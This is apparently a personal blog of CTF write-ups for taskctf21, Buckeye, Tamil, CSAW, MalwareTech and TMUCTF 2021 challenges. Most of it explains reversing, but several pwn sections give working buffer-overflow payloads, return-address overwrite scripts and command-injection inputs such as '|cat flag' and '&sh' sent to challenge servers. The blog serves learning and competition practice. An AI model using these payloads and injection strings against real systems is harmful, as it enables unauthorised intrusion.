日記帳

CTFのWriteupや雑記など

taskctf21 Writeup

面白かったです!主催者のtask4233さん、素晴らしいCTFをありがとうございました。

Welcome

welcome

Sanity Check. C&P.

Misc

js

うまく記号だけのJavaScriptコードで yes という文字列を表現してPOSTすればFlagを取得することができます。(参考1,参考2)

import requests
print(requests.post("http://34.145.29.222:30009", json={'want_flag': '(+[![]]+[+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])])[[+!+[]]+[+[]]]+(!![]+([]+[]))[!+[]+!+[]+!+[]]+(![]+([]+[]))[!+[]+!+[]+!+[]]'}).text)
# taskctf{js_1s_4_tr1cky_l4ngu4ge}

polyglot / polygolf

C言語、Go言語の両方で動作する(かつpolygolfでは185バイト以下のサイズの)コードを作成して送信することでFlagを取得することができます。(参考)

以下は私が書いて使用したコード。

// \
/*
main(){system("cat flag");}
#if 0
//*/package main
import(."fmt"
."os/exec")
func main(){f,_:=Command("cat", "flag").Output()
Print(string(f))}
// \
/*
#endif//*/

Pwnable

super_easy

BOFするように適当なPayloadを送信すればFlagを取得することができます。

$ echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | nc 34.145.29.222 30002
Input task name
task
task name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
task done: 1094795585
taskctf{bre4k_e4sily}

super_easy2

スコアの値が0x1337になるようなPayloadを送信すればFlagを取得することができます。

$ echo -e 'AAAAAAAAAAAAAAAA\x01\x00\x00\x00\x37\x13\x00\x00' | nc 34.145.29.222 30003
Input task name
task
task name: AAAAAAAAAAAAAAAA
task done: 1
taskctf{y0u_c4n_4ls0_0verwr1te}

script_kiddie

配布されているソースコードを読んでみると、自明なOSコマンドインジェクション脆弱性が見つかるので、cat flag するようなPayloadを送信すればFlagを取得することができます。

$ echo '|cat flag' | nc 34.145.29.222 30005
Which flag do you want?taskctf{n0w_y0u_g0t_shell}

super_easy3

新しく加わった deadline によるチェックをクリアできるようにExploitすればFlagを取得することができます。

// gcc genpayload.c -o genpayload
#include <stdio.h>
#include <stdint.h>
#include <time.h>

typedef struct {
  char name[16];
  uint32_t is_done;
  uint32_t score;
  double rate;
  time_t deadline;
} TASK;

int main()
{
    TASK task = {"AAAAAAAAAAAAAAAA",1,0x1337,999,time(NULL)};
    FILE *fp = fopen("/tmp/task.tmp", "wb");
    fwrite(&task, sizeof(TASK), 1, fp);
    return 0;
}
from pwn import *
import subprocess

io = remote('34.145.29.222', 30004)
subprocess.run(["./genpayload"])
cs = open('/tmp/task.tmp','rb').read()
io.send(cs)
io.interactive()
$ python3 solve.py
[+] Opening connection to 34.145.29.222 on port 30004: Done
[*] Switching to interactive mode
Input task name
$
task
task name: AAAAAAAAAAAAAAAA
task done: 1
task score: 4919
task deadline: Sun Dec 12 10:11:39 2021

taskctf{n0w_y0u_kn0w_t1me_t}[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to 34.145.29.222 port 30004

script_kiddie2

sh して cat flag すればFlagを取得することができます。

$ nc 34.145.29.222 30007
Which flag do you want?&sh

cat flag
taskctf{sh_1s_als0_0k}

prediction

Return Addressを書き換えるようなExploitを書けばFlagを取得することができます。

from pwn import *
import struct

io = remote('34.145.29.222', 30006)

payload = b'taskctf{'
payload += b'A'*48
payload += struct.pack('<I', 0x4013F7)
io.sendline(payload)
io.sendline(b'cat flag')
io.interactive()
> python .\prediction_solve.py
[x] Opening connection to 34.145.29.222 on port 30006
[x] Opening connection to 34.145.29.222 on port 30006: Trying 34.145.29.222
[+] Opening connection to 34.145.29.222 on port 30006: Done
[*] Switching to interactive mode
What is the flag?
***start stack dump***
0x7fff7a7cc980: 0x7b6674636b736174 <- rsp
0x7fff7a7cc988: 0x4141414141414141
0x7fff7a7cc990: 0x4141414141414141
0x7fff7a7cc998: 0x4141414141414141
0x7fff7a7cc9a0: 0x4141414141414141
0x7fff7a7cc9a8: 0x4141414141414141
0x7fff7a7cc9b0: 0x4141414141414141 <- rbp
0x7fff7a7cc9b8: 0x00000000004013f7 <- return address
0x7fff7a7cc9c0: 0x0000000000000000
0x7fff7a7cc9c8: 0x00007ff3b999c0b3
0x7fff7a7cc9d0: 0x00007ff3b9b616a0
***end stack dump***

taskctf{r0p_1s_f4mous_way}

ちなみに別解もあります。

$ strings prediction | grep taskctf{
taskctf{
taskctf{r0p_1s_f4mous_way}

多分これが一番早いと思います。 :joy:

Buckeye CTF 2021 Rev/Misc Writeup

I have participated Buckeye CTF 2021, and solved most of Misc challenges *1 & 3 Rev challenges. They were really fun, and I am excited to study about hard Rev challenges that I could not solve after the competition. Thanks to all of the organizers & sponsors for this CTF!!!

Rev

BASIC

Program file for TI83F is distributed. It can be decoded into human readable code using certain tool like 8xpdump, and flag can be obtained from it.

hackmd.io

Buttons

By decompiling the given jar file into java code, we can figure out that its something like maze game. Grid (with information that where player should not step in) is hardcoded, so player can reach out flag using it.

hackmd.io

The Legend of the Headless Horseman

By looking into given executable, I knew that head-part of ELF file (for multiple architecture) is hardcoded, so I have extracted from it. Challenge description, text inside executable gave me an idea that distributed files under body_bag directory can be combined with these headers. I used QEMU for each architecture to discover which combination of ELF header and body part is working. As a result of analyzing the working ELF file obtained, I got a flag for this challenge.

hackmd.io

Misc

sanity_check

C&P flag from Discord.

replay

Send same input as pcap file is showing.

hackmd.io

layers

Save docker image as a file, and extract image file with the flag from it. At first, I though that this is sort of forensics challenge XD

hackmd.io

USB Exfiltration

Pcap file with USB packets is distributed. There is nothing complicated here, just extract & combine & decompress. Btw, I was the 3rd person who have solved this challenge!!!

hackmd.io

Don't Talk to Blue Birds

Path to flag can be found on following post at Twitter. Searching phrase Witch Security will reach out this account.

Open Source In(sta)telligence

Path to flag can be found on following post at Instagram. Searching phrase Witch Security will reach out this account.

www.instagram.com

*1:I was slept when "Survey" challenge has been opened. :sob:

Tamil CTF 2021 Writeup (rev)

This is the writeup article for reversing challenges except "Fool Me" in Tamil CTF 2021. All challenges have really awesome quality, and I have learned lots of stuff from them. Thank you to everyone who have helped organizing this wonderful event. 🙏

Digital play

Challenge that requires player to analyze the file with data of digital logic circuit. By searching with interesting strings inside the encrypt.dig (e.g. visualElement), tool named Digital can be found on GitHub (Link). Opening the file using this tool will provide a visualized information like below.

f:id:m0pisec:20210927073245p:plain
Screenshot from Digital (opening encrypt.dig)

By writing some sort of script / program that decodes the data inside output.txt, flag can be obtained.

hackmd.io

Obscure

Byte-Compiled Python code file is distributed, so it can be reversed into Python script using tool like uncompyle2. By obtaining the encoded flag inside the script, and reverse the flow that is generating the encoded data, flag can be obtained.

hackmd.io

eezy

Binary patching challenge. Well, I have solved it with static analysis because I am not that familiar with debugger like gdb, radare2. Algorithm of distributed flag-checker program is not that hard, so it can be reversed easily.

hackmd.io

Gold Digger

Reverse the flow of program (using tool like Ghidra, IDA) to obtain the flag. I have used Ghidra to solve and here is Ghidra Zip File with some modification (e.g. renaming/retyping varibale) done by me, so it is much more human-friendly to read compared to initial state.

hackmd.io

Guesser

Distributed file is Windows executable written with .NET Framework, so it can be decompiled using tool like dnSpy, ILSpy. Code where validates username and password is reverse-able with simple logic, so I have wrote two line script that gets the username, password.

hackmd.io

HeyImAB

Distributed file is Android Backup (AB) file. It can be extracted easily, and by grepping the files with TamilCTF{, flag can be obtained.

hackmd.io

Unknown

Distributed file is written in Python (packed to executable using PyInstaller), so it can be reversed to format of script using pyinstxtractor.py and pycdc. Reversed script is bit obfuscated using eval function, so I have cleaned up the script and reversed the logic to obtain the flag.

hackmd.io

Hybrid Reptile

As same as Unknown challenge, distributed file is written in Python. It can be reversed to format of script using pyinstxtractor.py and pycdc. There was unused variable inside the script that seems to be Base64 encoded data, so I have decoded it and knew that its ELF file. I have decompiled it with Ghidra and obtained the key that can decrypt the flag.

hackmd.io

CSAW CTF Quals 2021 Writeup

I really love ransomwaRE challenge, because it was very good practice for my static analysis (and some dynamic analysis) against windows malware. Thanks to everyone belongs to CPAW CTF organizer for hosting this amazing CTF competition.

rev

ransomwaRE

This challenge is focusing about ransomware-like program that encrypts PDF file(s) under %USERPROFILE%\SecretCSAWDocuments folder using AES128 algorithm (with CTR mode). Distributed executable is just a downloader (and doing some plus alpha stuffs), the essential part of program can be downloaded from http://rev.chal.csaw.io:8129/5692481aecd40429eecf588d28ce6a31. Program has a structure that keeps key, nonce, EVP_CIPHER object, and user id (which will be written on %USERPROFILE%\AppData\Local\Temp, and displayed when encryption is done), so I have named this Config structure. Config will be initialized inside Gin function, by storing random bytes to each member variables inside. Key, nonce, user id will be hexlified and sent to remote server (well, server only returns 404 so this part seems to be meaningless).

f:id:m0pisec:20210911220853p:plain

Because its using same keystream for all files, we can attack this cipher by known-plaintext keystream-reuse attack. I am not well-known about crypto stuffs, so please check this page that I have learned about it. This is the solver, which will output flag.pdf with the flag.

Solver:

import os
import binascii
from Crypto.Cipher import AES
from Crypto.Util import Counter
from Crypto.Util import strxor

# us-aers-ransomware.pdf
sample_plain = open('us-aers-ransomware.pdf.backup', 'rb').read()
sample_cipher = open('us-aers-ransomware.pdf.cryptastic', 'rb').read()

# flag.pdf
flag_cipher = open('flag.pdf.cryptastic', 'rb').read()
keystream = strxor.strxor(sample_cipher, sample_plain)[:len(flag_cipher)]
flag_plain = open('flag.pdf', 'wb').write(strxor.strxor(flag_cipher, keystream))

Output:

f:id:m0pisec:20210911222850p:plain
flag.pdf

Flag: flag{w4y_t0_put_th3_RE_1n_W1nd0w5_r4n50mw4RE}

misc

Welcome

C&P from Discord.

Flag: flag{W3Lcom3_7o_CS4w_D1ScoRD}

warm-up

poem-collection

Easy Web Chall. (Answer)

Flag: flag{l0c4l_f1l3_1nclusi0n_f0r_7h3_w1n}

Turing

f:id:m0pisec:20210911124820p:plain
https://cryptii.com/pipes/enigma-machine

Flag: flag{scruffy_looking_nerf_herder}

Password Checker

Very simple and easy pwn challenge. Just be careful about stack alignment.

Solver:

from pwn import *
from struct import pack

# conn = process('./password_checker')
conn = remote('pwn.chal.csaw.io', 5000)
payload  = b'A' * 72 # 72
payload += pack('<I', 0x401173)
conn.recvuntil(b"Enter the password to get in: \n>")
conn.sendline(payload)
conn.interactive()

Output:

$ python3 test.py
[+] Opening connection to pwn.chal.csaw.io on port 5000: Done
[*] Switching to interactive mode
This is not the password$ ls
flag.txt
password_checker
$ cat flag.txt
flag{ch4r1i3_4ppr3ci4t35_y0u_f0r_y0ur_h31p}

Flag: flag{ch4r1i3_4ppr3ci4t35_y0u_f0r_y0ur_h31p}

checker

Reversing Python Script.

Solver

def up(x):
    x = [f"{ord(x[i]) << 1:08b}" for i in range(len(x))]
    return ''.join(x)

def up_rev(d):
    x = []
    for i in range(0, len(d), 8):
        x.append(chr(int('0b'+d[i:i+8],2) >> 1))
    return ''.join(x)

def down(x):
    x = ''.join(['1' if x[i] == '0' else '0' for i in range(len(x))])
    return x

def right(x,d):
    x = x[d:] + x[0:d]
    return x

def right_rev(x,d):
    x = x[-1*d:] + x[:-1*d]
    return x

def left(x,d):
    x = right(x,len(x)-d)
    return x[::-1]

def left_rev(x,d):
    x = x[::-1]
    return right_rev(x,len(x)-d)

def encode(plain):
    d = 24
    x = up(plain)
    x = right(x,d)
    x = down(x)
    x = left(x,d)
    return x

def decode(encoded):
    d = 24
    x = left_rev(encoded, d)
    x = down(x)
    x = right_rev(x, d)
    plain = up_rev(x)
    return plain

def main():
    encoded = "1010000011111000101010101000001010100100110110001111111010001000100000101000111011000100101111011001100011011000101011001100100010011001110110001001000010001100101111001110010011001100"
    print(decode(encoded))

if __name__ == "__main__":
  main()

Output:

> python .\checker.py
flag{r3vers!nG_w@rm_Up}

Flag: flag{r3vers!nG_w@rm_Up}

Beginner Malware Reversing Challenges Writeup

常設なので解き方のみ。

www.malwaretech.com

Hide and Seek

strings1

Ghidraで開いて静的解析すればプログラム内で使用されているFlagを入手することができます。

strings2

超シンプルなStackstrings問題。floss に投げればFlagを入手することができます。

strings3

f:id:m0pisec:20210910165704p:plain

FindResourceA 関数からリソースからFlagの文字列を取得していることがわかり、LoadStringA 関数によって取得している文字列のIDがわかるので、その情報をもとにリソースを漁ればFlagを入手することができます。

Shellcode

shellcode1

VirtualAlloc 関数でRWXな領域を確保して、memcpy 関数で埋め込まれたシェルコードをコピーして実行しているだけ。シェルコード部分を右クリックして "Disassemble" して引数を ESI レジスタから取得するように設定すれば処理を読むことができるので、それをもとにFlagをデコードする。

shellcode2

shellcode1と違いStackstringsを用いて使用するAPIなどを隠している。下記のようにすればFlagを入手することができます。

>>> dat_f = open('./shellcode2.exe_', 'rb')
>>> dat_f.seek(0x4e)
78
>>> dat = dat_f.read(0x26)
>>> arg = bytearray(b'\x12\x24\x28\x34\x5b\x23\x26\x20\x35\x37\x4c\x28\x76\x26\x33\x37\x3a\x27\x3d\x6e\x25\x48\x6f\x3c\x58\x3a\x68\x2c\x43\x73\x10\x0e\x10\x6b\x10\x6f\x10')
>>> for i in range(0x24): print(chr((dat[i] ^ arg[i]) & 0xff), end='')
...
FLAG{XXXXX REDACTED XXXXX}

Devirtualization

VM1

PPC問。処理を写経するだけ。

Solver:

dst = bytearray(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\x7e\x7d\x55\x1e\x05\xe6\x9f\xe4\xa6\x47\x50\x02\x01\xc7\xfc\xcb\x60\x09\xc6\x0e\x2e\x41\x65\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x1d\xbd\x01\x05\x53\x01\x12\x48\x01\x10\xe6\x01\x13\x8a\x01\x0d\x47\x01\x16\x13\x01\x0a\x15\x01\x00\x98\x01\x02\x3c\x01\x18\xd9\x01\x1a\x57\x01\x06\xab\x01\x1b\xc6\x01\x01\x32\x01\x17\x20\x01\x15\x6f\x01\x11\x2d\x01\x08\xc9\x01\x09\xe7\x01\x03\x12\x01\x0c\x2f\x01\x0e\x88\x01\x19\x6c\x01\x04\x65\x01\x1e\xae\x01\x14\x59\x01\x1f\x91\x01\x1c\x5d\x01\x0f\xae\x01\x0b\x15\x01\x07\xcc\x02\x20\x00\x03\x00\x00\x02\x21\x00\x03\x01\x00\x02\x22\x00\x03\x02\x00\x02\x23\x00\x03\x03\x00\x02\x24\x00\x03\x04\x00\x02\x25\x00\x03\x05\x00\x02\x26\x00\x03\x06\x00\x02\x27\x00\x03\x07\x00\x02\x28\x00\x03\x08\x00\x02\x29\x00\x03\x09\x00\x02\x2a\x00\x03\x0a\x00\x02\x2b\x00\x03\x0b\x00\x02\x2c\x00\x03\x0c\x00\x02\x2d\x00\x03\x0d\x00\x02\x2e\x00\x03\x0e\x00\x02\x2f\x00\x03\x0f\x00\x02\x30\x00\x03\x10\x00\x02\x31\x00\x03\x11\x00\x02\x32\x00\x03\x12\x00\x02\x33\x00\x03\x13\x00\x02\x34\x00\x03\x14\x00\x02\x35\x00\x03\x15\x00\x02\x36\x00\x03\x16\x00\x02\x37\x00\x03\x17\x00\x02\x38\x00\x03\x18\x00\x01\x19\x00\x04\x00\x00\x00')

tmp = 0

def func(x, y, z):
    global tmp
    if x == 1:
        dst[y] = z
    else:
        if x == 2:
            tmp = dst[y] & 0xff
        else:
            if x != 3:
                return 0
            dst[y] = dst[y] ^ tmp
    return 1

i = 0
a = func(dst[0xff+i], dst[0xff+i+1], dst[0xff+i+2])
while a != 0:
    a = func(dst[0xff+i], dst[0xff+i+1], dst[0xff+i+2])
    i += 3

print(dst)

Output:

> python .\vm_solver.py
bytearray(b'FLAG{XXXXX REDACTED XXXXX}\x00W\xc6]\xbd\xae\x91\xde~}U\x1e\x05\xe6\x9f\xe4\xa6GP\x02\x01\xc7\xfc\xcb`\t\xc6\x0e.Ae\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x1d\xbd\x01\x05S\x01\x12H\x01\x10\xe6\x01\x13\x8a\x01\rG\x01\x16\x13\x01\n\x15\x01\x00\x98\x01\x02<\x01\x18\xd9\x01\x1aW\x01\x06\xab\x01\x1b\xc6\x01\x012\x01\x17 \x01\x15o\x01\x11-\x01\x08\xc9\x01\t\xe7\x01\x03\x12\x01\x0c/\x01\x0e\x88\x01\x19l\x01\x04e\x01\x1e\xae\x01\x14Y\x01\x1f\x91\x01\x1c]\x01\x0f\xae\x01\x0b\x15\x01\x07\xcc\x02 \x00\x03\x00\x00\x02!\x00\x03\x01\x00\x02"\x00\x03\x02\x00\x02#\x00\x03\x03\x00\x02$\x00\x03\x04\x00\x02%\x00\x03\x05\x00\x02&\x00\x03\x06\x00\x02\'\x00\x03\x07\x00\x02(\x00\x03\x08\x00\x02)\x00\x03\t\x00\x02*\x00\x03\n\x00\x02+\x00\x03\x0b\x00\x02,\x00\x03\x0c\x00\x02-\x00\x03\r\x00\x02.\x00\x03\x0e\x00\x02/\x00\x03\x0f\x00\x020\x00\x03\x10\x00\x021\x00\x03\x11\x00\x022\x00\x03\x12\x00\x023\x00\x03\x13\x00\x024\x00\x03\x14\x00\x025\x00\x03\x15\x00\x026\x00\x03\x16\x00\x027\x00\x03\x17\x00\x028\x00\x03\x18\x00\x01\x19\x00\x04\x00\x00\x00')

Ransomware

ransomware1

少し頭を捻る必要のある問題。エンコードされた flag.txt と複数の画像ファイルをエンコードしたファイルが渡される。復号に必要なキーはプログラム内に見つからないが、先述した複数の画像ファイルは全てWindows 7のSample Picturesなので、ネットでファイル名を検索するなどしてファイルを入手する。あとは雑にキーを逆算して、flag.txtをデコードするだけ。

key = []
hydra_enc = open('.\Pictures\\Sample Pictures\\Hydrangeas.jpg_encrypted', 'rb').read()
hydra_dec = open('.\Pictures\\Sample Pictures\\Hydrangeas.jpg', 'rb').read()

for i in range(len(hydra_enc)):
    key.append(hydra_enc[i] ^ hydra_dec[i])

res = ''
flag_enc = open('.\Documents\\flag.txt_encrypted', 'rb').read()
for i in range(len(flag_enc)):
    res += chr(flag_enc[i] ^ key[i])
open('.\Documents\\flag.txt', 'w').write(res)

TMUCTF 2021 Writeup (English)

I mainly worked on Reversing challenge (by solo). There were lots of exciting challenges.

Thanks to all of the TMUCTF 2021 organizers for opening this awesome CTF competition!!!

Pwn

Because of somehow reason, I have worked on one pwn challenge. I wonder why.

Warmup

Just a basic buffer overflow challenge.

$ nc 194.5.207.56 7000
=================================================================
=     ____ _    _    ____ ____ ____   ____ ____ ____    __      =
=     |_ _\|\/\ || \ | __\|_ _\|  _\  |   \|   ||   \  / |      =
=       || |   \||_|\| \__  || | _\   '-'_/| \ |'-'_/ /_ |      =
=       |/ |/v\/|___/|___/  |/ |/     |___]|___||___]   \|      =
=                                                               =
=================================================================
Welcome to TMUCTF 2021! Let us know your name:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thanks!

TMUCTF{n0w_y0u_4r3_w4rm3d_up}

Flag: TMUCTF{n0w_y0u_4r3_w4rm3d_up}

Rev

UnBIOSed

Running the distributed program returns error message that indicates this program is written by Python. By using pyinstxtractor.py and Uncompyle6, I was able to reverse executable to Python script. FYI, decompile will fail if we run tools using newer or older version Python that challenge excepts (3.7).

> python .\pyinstxtractor.py .\Unbiosed.exe
[+] Processing .\Unbiosed.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 37
[+] Length of package: 18531925 bytes
[+] Found 44 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: Unbiosed.pyc
[+] Found 439 files in PYZ archive
[+] Successfully extracted pyinstaller archive: .\Unbiosed.exe

You can now use a python decompiler on the pyc files within the extracted directory

> uncompyle6.exe .\Unbiosed.exe_extracted\Unbiosed.pyc
# uncompyle6 version 3.7.5.dev0
# Python bytecode 3.7 (3394)
# Decompiled from: Python 3.7.9 (tags/v3.7.9:13c94747c7, Aug 17 2020, 18:58:18) [MSC v.1900 64 bit (AMD64)]
# Embedded file name: Unbiosed.py
import numpy as np, random
a = np.empty([10, 10])
b = np.empty([10, 10])
c = np.dot(a, b)
if random.uniform(0, 5) <= 2:
    print('The Bios is Corrupted!')
    exit()
d = input('Please Enter the Recovery Key:')
e = list(d)
g = 0
h = [84, 77, 85, 67, 84, 70, 123, 77, 52, 121, 95, 52, 108, 108, 95, 89, 48, 117, 114, 95, 68, 51, 99, 49, 53, 49, 48, 110, 53, 95, 98, 51, 95, 85, 110, 98, 49, 48, 53, 51, 100, 33, 125]
for f in range(len(h)):
    if ord(e[f]) != h[f]:
        g = g + 1

if g > 0:
    print('Your Bios Data Cannot be Recovered with This Key.')
    exit()
print("Congratulations! You Have The Flag, But I'll Print it Out Again For You:")
print(d)
# okay decompiling .\Unbiosed.exe_extracted\Unbiosed.pyc

By writing stuffs like below, I got the flag for this challenge.

>>> h = [84, 77, 85, 67, 84, 70, 123, 77, 52, 121, 95, 52, 108, 108, 95, 89, 48, 117, 114, 95, 68, 51, 99, 49, 53, 49, 48, 110, 53, 95, 98, 51, 95, 85, 110, 98, 49, 48, 53, 51, 100, 33, 125]
>>> for hch in h:
...     print(chr(hch),end='')
...
TMUCTF{M4y_4ll_Y0ur_D3c1510n5_b3_Unb1053d!}

Flag: TMUCTF{M4y_4ll_Y0ur_D3c1510n5_b3_Unb1053d!}

findkey

I have used angr for this challenge because decompiled code generated by Ghidra seems to be to hard to read for me.

>>> import angr
>>> p = angr.Project("./findkey")
WARNING | 2021-09-09 10:21:26,843 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
>>> e = p.factory.entry_state()
>>> simgr = p.factory.simulation_manager(e)
>>> s = simgr.explore(find=0x400000+0x11bc)
>>> s
<SimulationManager with 4 active, 2 deadended, 1 found>
>>> s.found[0].posix.dumps(0)
b"R3v\xbf3n9_By_\xf4g\xfc\xe0/\x00'\x00\x06\x01C\x11\xa9\x00\x08\xf4\x01\xc5\x00\x10\xb1\x06+z'H\x003:\x12\x01fk\x03\x00\x00\x07\xd0*A\xd83S\x11r\x00\x13\x00\x01"

Check.

$ echo -e "R3v\xbf3n9_By_\xf4g\xfc\xe0/" | ./findkey
Please enter the key: Well Done! TMUCTF{R3v�3n9_By_�g��/}

I knew that length of key is 0x10 from really quick static analysis, so I have bruteforced (using subprocess and string.printable on Python) for some characters that seems to be wrong on the result. As a result, I knew that partial part of key is R3v_3n9_By_4 . For the rest 4 characters, I have just guessed by the information (like angr.c in defined string of executable) and solved the challenge. I think there is much better solution for this part. :^(

$ ./findkey
Please enter the key: R3v_3n9_By_4N9r!
Well Done! TMUCTF{R3v_3n9_By_4N9r!}

Flag: TMUCTF{R3v_3n9_By_4N9r!}

Crack House

It is GUI application built using .NET framework, so I have used DotPeek to analyze it statically. Its not doing much complicated stuffs inside, so I have almost C&P whole if statements around validation, and just fixed a little to move it on Python.

Solver:

from pwn import *

import string

conn = remote('185.235.41.70', 6000)

def gen_key(username):
    index1 = 0
    numArray = [ord(uch) for uch in username]
    key = [0] * 16
    for i in range(16):
        if i % 2 == 0 and numArray[i] >= 65 and numArray[i] < 78:
            key[i] = numArray[i] + i
        elif i % 2 == 0 and numArray[i] >= 78 and numArray[i] < 91:
            key[i] = numArray[i] + i - 4
        elif i % 2 == 0 and numArray[i] >= 97 and numArray[i] < 110:
            key[i] = numArray[i] + i + 8
        elif i % 2 == 0 and numArray[i] >= 110 and numArray[i] < 123:
            key[i] = numArray[i] + i - 5
        elif i % 3 == 0 and numArray[i] >= 65 and numArray[i] < 78:
            key[i] = numArray[i] + i + 1
        elif i % 3 == 0 and numArray[i] >= 78 and numArray[i] < 91:
            key[i] = numArray[i] + i - 7
        elif i % 3 == 0 and numArray[i] >= 97 and numArray[i] < 110:
            key[i] = numArray[i] + i + 6
        elif i % 3 == 0 and numArray[i] >= 110 and numArray[i] < 123:
            key[i] = numArray[i] + i - 11
        elif i % 5 == 0 and numArray[i] >= 65 and numArray[i] < 78:
            key[i] = numArray[i] + i - 2
        elif i % 5 == 0 and numArray[i] >= 78 and numArray[i] < 91:
            key[i] = numArray[i] + i - 9
        elif i % 5 == 0 and numArray[i] >= 97 and numArray[i] < 110:
            key[i] = numArray[i] + i + 3
        elif i % 5 == 0 and numArray[i] >= 110 and numArray[i] < 123:
            key[i] = numArray[i] + i - 15
        elif i % 7 == 0 and numArray[i] >= 65 and numArray[i] < 78:
            key[i] = numArray[i] + i - 5
        elif i % 7 == 0 and numArray[i] >= 78 and numArray[i] < 91:
            key[i] = numArray[i] + i - 14
        elif i % 7 == 0 and numArray[i] >= 97 and numArray[i] < 110:
            key[i] = numArray[i] + i + 4
        elif i % 7 == 0 and numArray[i] >= 110 and numArray[i] < 123:
            key[i] = numArray[i] + i - 25
        elif i % 11 == 0 and numArray[i] >= 65 and numArray[i] < 78:
            key[i] = numArray[i] + i - 10
        elif i % 11 == 0 and numArray[i] >= 78 and numArray[i] < 91:
            key[i] = numArray[i] + i + 2
        elif i % 11 == 0 and numArray[i] >= 97 and numArray[i] < 110:
            key[i] = numArray[i] + i + 8
        elif i % 11 == 0 and numArray[i] >= 110 and numArray[i] < 123:
            key[i] = numArray[i] + i - 5
        elif i % 13 == 0 and numArray[i] >= 65 and numArray[i] < 78:
            key[i] = numArray[i] + i + 1
        elif i % 13 == 0 and numArray[i] >= 78 and numArray[i] < 91:
            key[i] = numArray[i] + i - 10
        elif i % 13 == 0 and numArray[i] >= 97 and numArray[i] < 110:
            key[i] = numArray[i] + i + 6
        elif i % 13 == 0 and numArray[i] >= 110 and numArray[i] < 123:
            key[i] = numArray[i] + i - 22
        elif i % 2 == 1 and numArray[i] >= 65 and numArray[i] < 78:
            key[i] = numArray[i] + i + 3
        elif i % 2 == 1 and numArray[i] >= 78 and numArray[i] < 91:
            key[i] = numArray[i] + i - 3
        elif i % 2 == 1 and numArray[i] >= 97 and numArray[i] < 110:
            key[i] = numArray[i] + i + 5
        elif i % 2 == 1 and numArray[i] >= 110 and numArray[i] < 123:
            key[i] = numArray[i] + i - 2
    final = ''
    for kch in key:
        final += chr(kch)
    return final

for _ in range(8): conn.recvuntil(b'\n')
for uch in string.ascii_uppercase[:-1]:
    unm = uch * 16
    key = gen_key(unm)
    print('[*] Sending pair of username and license key to remote (' + unm + ':' + key + ')')
    conn.sendlineafter(b':\n', unm.encode())
    conn.sendlineafter(b':\n', key.encode())

conn.interactive()

Output:

> python .\test.py
[x] Opening connection to 185.235.41.70 on port 6000
[x] Opening connection to 185.235.41.70 on port 6000: Trying 185.235.41.70
[+] Opening connection to 185.235.41.70 on port 6000: Done
[*] Sending pair of username and license key to remote (AAAAAAAAAAAAAAAA:AECEEDGCIKKBMOOQ)
[*] Sending pair of username and license key to remote (BBBBBBBBBBBBBBBB:BFDFFEHDJLLCNPPR)
[*] Sending pair of username and license key to remote (CCCCCCCCCCCCCCCC:CGEGGFIEKMMDOQQS)
[*] Sending pair of username and license key to remote (DDDDDDDDDDDDDDDD:DHFHHGJFLNNEPRRT)
[*] Sending pair of username and license key to remote (EEEEEEEEEEEEEEEE:EIGIIHKGMOOFQSSU)
[*] Sending pair of username and license key to remote (FFFFFFFFFFFFFFFF:FJHJJILHNPPGRTTV)
